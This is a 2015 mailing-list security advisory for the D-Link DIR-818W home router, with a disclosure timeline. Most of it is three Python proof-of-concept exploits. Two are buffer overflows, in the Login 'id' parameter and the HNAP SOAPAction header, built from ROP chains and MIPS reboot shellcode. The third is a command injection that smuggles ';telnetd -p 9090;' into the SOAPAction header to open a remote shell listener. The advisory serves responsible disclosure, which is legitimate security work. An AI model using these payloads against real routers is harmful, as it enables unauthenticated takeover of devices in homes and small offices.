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Dlink DIR-818W Buffer overflows and Command injection in authentication and HNAP functionalities
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Dlink DIR-818W Buffer overflows and Command injection in authentication and HNAP functionalities
- From: samhuntley84@xxxxxxxxx
- Date: Fri, 13 Nov 2015 22:04:14 GMT
## Advisory Information
Title: DIR-818W Buffer overflows and Command injection in authentication and
HNAP functionalities
Vendors contacted: William Brown <william.brown@xxxxxxxxx>, Patrick Cline
patrick.cline@xxxxxxxxx(Dlink)
CVE: None
Note: All these security issues have been discussed with the vendor and vendor
indicated that they have fixed issues as per the email communication. The
vendor had also released the information on their security advisory pages
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061
However, the vendor has taken now the security advisory pages down and hence
the information needs to be publicly accessible so that users using these
devices can update the router firmwares.The author (Samuel Huntley) releasing
this finding is not responsible for anyone using this information for malicious
purposes.
## Product Description
DIR-818W -- Wireless AC750 Dual Band Gigabit Cloud Router. Mainly used by home
and small offices.
## Vulnerabilities Summary
Have come across 3 security issues in DIR-818W firmware which allows an
attacker to exploit command injection and buffer overflows in authentication
adn HNAP functionality. All of them can be exploited by an unauthentictaed
attacker. The attacker can be on wireless LAN or WAN if mgmt interface is
exposed to attack directly or using XSRF if not exposed.
## Details
Buffer overflow in auth
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
#Reboot shellcode in there
'''
2096 after id GET param, you can control the RA
'''
buf = "GET /dws/api/Login?id="
buf+="A"*2064+"AAAA" #S0 # uclibc system address
buf+="\x2A\xAF\xD0\x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also
stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep)
buf+="\x2A\xB1\x4D\xF0" #S2 -- points to Sleep in library
buf+="\x2A\xB1\x4D\xF0" #JUNK S3
buf+="\x2A\xB1\x4D\xF0" #JUNK S4
buf+="\x2A\xB1\x4D\xF0" #JUNK S5
buf+="\x2A\xB0\xDE\x54" # S6 filled up with pointer to ROP4 which is ultimate
mission
buf+="\x2A\xB1\x4D\xF0" #JUNK S7
buf+="\x2A\xAC\xAD\x70" # RETN address -- ROP1 (fills a0 with 3 for sleep and
s1 is filled before with ROP2 address which is called)
buf+="C"*36 #
buf+="\x2A\xAC\xD5\xB4" # ROP3 (Fills in S4 the address of SP+16 and then jumps
to ROP4 which calls SP+16 stored in S4)
buf+="E"*16
buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c"
#Reboot shellcode Big endian
buf+="Y"*120
buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent:
test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nContent-Length:5000\r\n\r\nid="+"A"*5000+"\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------
Buffer overflow in HNAP
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
'''
548 characters after
SOapaction:http://purenetworks.com/HNAP1/GetDeviceSettings/ should work,
although sprintf copies twice so only 242 characters are required including
/var/run and /etc/templates/hnap which is concatenated with your string to
create 548 characters
'''
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent:
test\r\nContent-Length:
1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" +
";sh;"+"B"*158
buf+="\x2A\xAF\xD0\x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also
stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep)
buf+="\x2A\xB1\x4D\xF0" #S2 -- points to Sleep in library
buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5 JUNK
buf+="\x2A\xB0\xDE\x54" # S6 filled up with pointer to ROP4 which is ultimate
mission
buf+="AAAA" #s7 JUNK
buf+="\x2A\xAC\xAD\x70" # RETN address -- ROP1 (fills a0 with 3 for sleep and
s1 is filled before with ROP2 address which is called)
buf+="C"*36
buf+="\x2A\xAC\xD5\xB4" # ROP3 (Fills in S4 the address of SP+16 and then jumps
to ROP4 which calls SP+16 stored in S4)
buf+="C"*16
buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c"
#Reboot shellcode Big endian
buf+="B"*28+"\r\n" + "1\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------
Command injection
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
# CSRF or any other trickery, but probably only works when connected to network
I suppose for v2.02
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 10.0.0.90\r\nUser-Agent:
test\r\nContent-Length:
1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';telnetd
-p 9090;\r\n' + "1\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------
## Report Timeline
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William
Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the
vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Samuel Huntley (samhuntley84@xxxxxxxxx).